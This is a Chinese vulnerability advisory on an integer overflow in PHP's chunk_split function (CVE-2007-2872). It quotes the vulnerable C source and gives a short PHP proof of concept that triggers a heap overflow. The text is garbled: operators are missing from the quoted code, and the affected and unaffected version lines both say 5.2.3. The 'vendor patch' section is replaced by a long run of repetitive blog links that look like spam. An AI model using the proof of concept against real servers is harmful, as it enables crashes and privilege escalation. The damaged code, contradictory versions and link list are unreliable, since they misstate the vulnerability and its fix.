受影响系统PHP PHP 5.2.3不受影响系统PHP PHP 5.2.3描述--------------------------------------------------------------------------------BUGTRAQ ID: 24261CVE(CAN) ID: CVE-2007-2872PHP是一种流行的WEB服务器端编程语言。PHP中的chunk_split函数在处理畸形参数时存在整数溢出漏洞本地攻击者可能利用此漏洞提升自己的权限。PHP中chunk_split函数的1963行试图为函数结果分配充分的内存大小但没有执行任何检查便使用了srclen和chunklen参数块。如果值的块和endlen大于65534字节的话就会触发整数溢出分配错误的内存大小导致堆溢出。ext/standard/string.c1953 static char *php_chunk_split(char *src, int srclen, char *end,int endlen, int chunklen, int *destlen)1954 {1955 char *dest;1956 char *p, *q;1957 int chunks; /* complete chunks! */1958 int restlen;19591960 chunks srclen / chunklen;1961 restlen srclen - chunks * chunklen; /* srclen % chunklen */19621963 dest safe_emalloc((srclen (chunks 1) * endlen 1),sizeof(char), 0);19641965 for (p src, q dest; p (src srclen - chunklen 1); ) {1966 memcpy(q, p, chunklen);1967 q chunklen;1968 memcpy(q, end, endlen);1969 q endlen;1970 p chunklen;1971 }*来源Gerhard Wagner*测试方法--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性仅供安全研究与教学之用。使用者风险自负?$astr_repeat(A, 65535);$b1;$cstr_repeat(A, 65535);chunk_split($a,$b,$c);?建议--------------------------------------------------------------------------------厂商补丁PHP---my.oschina.net/u/3794224/blog/19550464my.oschina.net/u/3427593/blog/19550463my.oschina.net/u/3794224/blog/19550452my.oschina.net/u/3427593/blog/19550451my.oschina.net/u/3794224/blog/19550438my.oschina.net/u/3427593/blog/19550436my.oschina.net/u/3794224/blog/19550424my.oschina.net/u/3427593/blog/19550423my.oschina.net/u/3794224/blog/19550412my.oschina.net/u/3427593/blog/19550409my.oschina.net/u/3794224/blog/19550397my.oschina.net/u/3427593/blog/19550396my.oschina.net/u/3794224/blog/19550383my.oschina.net/u/3427593/blog/19550381my.oschina.net/u/3794224/blog/19550368my.oschina.net/u/3427593/blog/19550366my.oschina.net/u/3794224/blog/19550356my.oschina.net/u/3427593/blog/19550352my.oschina.net/u/3794224/blog/19550342my.oschina.net/u/3427593/blog/19550341my.oschina.net/u/3794224/blog/19550327my.oschina.net/u/3427593/blog/19550326my.oschina.net/u/3794224/blog/19550311my.oschina.net/u/3427593/blog/19550309my.oschina.net/u/3794224/blog/19550297my.oschina.net/u/3427593/blog/19550294my.oschina.net/u/3794224/blog/19550283my.oschina.net/u/3794224/blog/19550268my.oschina.net/u/3427593/blog/19550265my.oschina.net/u/3794224/blog/19550256my.oschina.net/u/3427593/blog/19550252my.oschina.net/u/3794224/blog/19550240my.oschina.net/u/3427593/blog/19550239my.oschina.net/u/3794224/blog/19550224my.oschina.net/u/3427593/blog/19550222my.oschina.net/u/3794224/blog/19550210my.oschina.net/u/3427593/blog/19550206my.oschina.net/u/3794224/blog/19550198my.oschina.net/u/3427593/blog/19550193my.oschina.net/u/3794224/blog/19550184my.oschina.net/u/3427593/blog/19550180my.oschina.net/u/3794224/blog/19550170my.oschina.net/u/3427593/blog/19550166my.oschina.net/u/3794224/blog/19550153my.oschina.net/u/3427593/blog/19550151my.oschina.net/u/3794224/blog/19550139my.oschina.net/u/3427593/blog/19550135my.oschina.net/u/3794224/blog/19550128my.oschina.net/u/3427593/blog/19550121my.oschina.net/u/3794224/blog/19550113my.oschina.net/u/3427593/blog/19550110my.oschina.net/u/3794224/blog/19550098my.oschina.net/u/3427593/blog/19550095my.oschina.net/u/3794224/blog/19550083my.oschina.net/u/3427593/blog/19550080my.oschina.net/u/3794224/blog/19550068my.oschina.net/u/3427593/blog/19550065my.oschina.net/u/3794224/blog/19550055my.oschina.net/u/3427593/blog/19550050my.oschina.net/u/3794224/blog/19550043my.oschina.net/u/3427593/blog/19550037my.oschina.net/u/3794224/blog/19550026my.oschina.net/u/3427593/blog/19550024my.oschina.net/u/3794224/blog/19550012my.oschina.net/u/3427593/blog/19550007my.oschina.net/u/3794224/blog/19549998my.oschina.net/u/3427593/blog/19549994my.oschina.net/u/3794224/blog/19549982my.oschina.net/u/3427593/blog/19549979my.oschina.net/u/3794224/blog/19549970my.oschina.net/u/3427593/blog/19549964my.oschina.net/u/3794224/blog/19549955my.oschina.net/u/3427593/blog/19549951my.oschina.net/u/3794224/blog/19549940my.oschina.net/u/3427593/blog/19549936my.oschina.net/u/3794224/blog/19549927my.oschina.net/u/3427593/blog/19549922my.oschina.net/u/3427593/blog/19549909my.oschina.net/u/3794224/blog/19549894my.oschina.net/u/3427593/blog/19549892my.oschina.net/u/3794224/blog/19549879my.oschina.net/u/3427593/blog/19549878my.oschina.net/u/3427593/blog/19549865my.oschina.net/u/3794224/blog/19549864my.oschina.net/u/3427593/blog/19549851my.oschina.net/u/3794224/blog/19549852my.oschina.net/u/3427593/blog/19549836my.oschina.net/u/3794224/blog/19549835my.oschina.net/u/3427593/blog/19549824my.oschina.net/u/3794224/blog/19549823my.oschina.net/u/3794224/blog/19549808my.oschina.net/u/3427593/blog/19549807my.oschina.net/u/3427593/blog/19549794my.oschina.net/u/3794224/blog/19549793my.oschina.net/u/3427593/blog/19549780my.oschina.net/u/3794224/blog/19549779my.oschina.net/u/3794224/blog/19549766my.oschina.net/u/3427593/blog/19549765my.oschina.net/u/3794224/blog/19549752my.oschina.net/u/3427593/blog/19549751my.oschina.net/u/3794224/blog/19549736my.oschina.net/u/3427593/blog/19549735my.oschina.net/u/3427593/blog/19549724my.oschina.net/u/3794224/blog/19549723my.oschina.net/u/3794224/blog/19549712my.oschina.net/u/3427593/blog/19549711my.oschina.net/u/3794224/blog/19549696my.oschina.net/u/3427593/blog/19549695my.oschina.net/u/3794224/blog/19549681my.oschina.net/u/3427593/blog/19549680my.oschina.net/u/3794224/blog/19549667my.oschina.net/u/3427593/blog/19549666my.oschina.net/u/3794224/blog/19549652my.oschina.net/u/3427593/blog/19549651my.oschina.net/u/3427593/blog/19549641my.oschina.net/u/3794224/blog/19549640my.oschina.net/u/3794224/blog/19549624my.oschina.net/u/3427593/blog/19549623my.oschina.net/u/3427593/blog/19549610my.oschina.net/u/3794224/blog/19549609my.oschina.net/u/3794224/blog/19549594my.oschina.net/u/3427593/blog/19549593my.oschina.net/u/3794224/blog/19549578my.oschina.net/u/3427593/blog/19549577my.oschina.net/u/3794224/blog/19549568my.oschina.net/u/3427593/blog/19549567my.oschina.net/u/3427593/blog/19549551my.oschina.net/u/3794224/blog/19549550my.oschina.net/u/3794224/blog/19549536my.oschina.net/u/3427593/blog/19549537my.oschina.net/u/3794224/blog/19549524my.oschina.net/u/3427593/blog/19549523my.oschina.net/u/3427593/blog/19549507my.oschina.net/u/3794224/blog/19549506my.oschina.net/u/3427593/blog/19549493my.oschina.net/u/3794224/blog/19549492my.oschina.net/u/3427593/blog/19549480my.oschina.net/u/3794224/blog/19549479my.oschina.net/u/3427593/blog/19549466my.oschina.net/u/3794224/blog/19549465my.oschina.net/u/3794224/blog/19549453my.oschina.net/u/3427593/blog/19549452my.oschina.net/u/3427593/blog/19549437my.oschina.net/u/3794224/blog/19549436my.oschina.net/u/3427593/blog/19549422my.oschina.net/u/3794224/blog/19549421my.oschina.net/u/3427593/blog/19549407my.oschina.net/u/3794224/blog/19549406my.oschina.net/u/3427593/blog/19549394my.oschina.net/u/3794224/blog/19549395my.oschina.net/u/3427593/blog/19549382my.oschina.net/u/3794224/blog/19549381my.oschina.net/u/3427593/blog/19549367my.oschina.net/u/3794224/blog/19549366my.oschina.net/u/3794224/blog/19549354my.oschina.net/u/3427593/blog/19549353my.oschina.net/u/3794224/blog/19549338